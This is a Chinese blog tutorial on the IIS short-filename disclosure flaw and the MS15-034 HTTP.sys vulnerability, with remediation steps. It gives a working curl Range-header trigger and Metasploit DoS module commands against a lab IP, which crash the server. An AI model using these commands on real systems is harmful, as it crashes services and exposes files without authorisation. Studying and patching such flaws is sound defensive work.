美文网首页Web攻防
IIS短文件名泄露漏洞及MS15-034利用

IIS短文件名泄露漏洞及MS15-034利用

作者: book4yi | 来源:发表于2021-01-05 19:02 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    漏洞描述:


    IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

    影响范围:

    IIS 5.0-10.0全系列版本

    漏洞危害:

    利用“~”字符猜解暴露短文件/文件夹名 (主要危害)

    在cmd下进入IIS网站根目录C:\inetpub\wwwroot输入“dir /x”即可看到短文件名的效果:

    目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,经千里目实验室验证,IIS 8.0、IIS 8.5和IIS 10.0的短文件名称均可以通过OPTIONS和TRACE方法被猜测成功

    IIS短文件名有以下几个特征:

    1.只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同);
    2.后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名;
    3.所有小写字母均转换成大写字母;
    4.长文件名中含有多个“.”,以文件名最后一个“.”作为短文件名后缀;
    5.长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件;

    利用过程:

    工具放到my-tools文件夹中,优先使用jar版本,打开cmd.bat即可

    项目地址:https://github.com/lijiejie/IIS_shortname_Scanner

    IIS短文件漏洞利用:


    1、深入爆破猜测文件全名

    a.通过对目标网站或同类型网站进行爬虫,爬出建立一个字典库,再与得到的短文件名来猜剩下的字符
    b.利用fuzzdb(一个应用程序模糊测试(fuzzing)数据库)来猜解,跟字典库进行匹配

    2、结合支持短文件特性软件(Apache、Wordpress)

    Acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup_20180101.sql的长文件,其短文件是BACKUP1.SQL,攻击者只需要提交BACKUP1.SQL就可以直接访问并下载该文件。

    局限性:


    1、 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
    2、如果文件名本身太短(无短文件名)也是无法猜解的;
    3、如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
    4、如果文件夹名前6位字符带点“.”,扫描程序会认为是文件而不是文件夹,最终出现误报
    5、不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。

    修复方案:


    1. 升级netFramework至4.0以上版本
    2. 关闭Web服务扩展- ASP.NET
    3. CMD关闭NTFS 8.3文件格式的支持(1代表关闭,0代表开启):
    # Windows Server 2008 R2:
    查询是否开启短文件名功能:fsutil 8dot3name query
    关闭该功能:fsutil 8dot3name set 1
    
    # Windows Server 2003:
    关闭该功能:fsutil behavior set disable8dot3 1
    

    不同系统关闭命令稍有区别,该功能默认是开启的,对于大多数用户来说无需开启。

    1. 修改注册表禁用短文件名功能,修改注册表键值:
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
      修改NtfsDisable8dot3NameCreation为1。1代表不创建短文件名格式,修改完成后,需要重启系统生效。
      注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制,已经存在的短文件名则是不会消失的

    MS15-034/CVE-2015-1635 HTTP远程代码执行:


    据微软公告(https://technet.microsoft.com/en-us/library/security/MS15-034)所称,当存在该漏洞的HTTP服务器接收到精心构造的HTTP请求时,可能触发远程代码在目标系统以系统权限执行。

    影响范围:

    任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1

    漏洞复现环境:

    操作系统:windows 2012 r2

    漏洞扫描:

    直接利用nmap中相应的script:

    nmap -Pn -p 80 --script http-vuln-cve2015-1635 192.168.107.148
    

    利用curl命令进行确认:

    curl http://192.168.107.148 -H "Host: 192.168.107.148" -H "Range: bytes=0-18446744073709551615"
    

    如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。

    利用msf进行漏洞利用:

    search ms15_034
    
    use dos/http/ms15_034_ulonglongadd
    set rhosts 192.168.107.148
    set threads 100
    

    攻击成功,目标服务器蓝屏:

    防御方案:

    1、用户安装微软官方修复补丁(3042553)即可
    https://support.microsoft.com/zh-cn/kb/3042553
    2、禁用IIS的内核缓存:可能导致IIS性能降低

    参考如下:


    IIS深入浅出之短文件漏洞知多少
    MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞分析

    相关文章

      网友评论

        本文标题:IIS短文件名泄露漏洞及MS15-034利用

        本文链接:https://www.haomeiwen.com/subject/xweidktx.html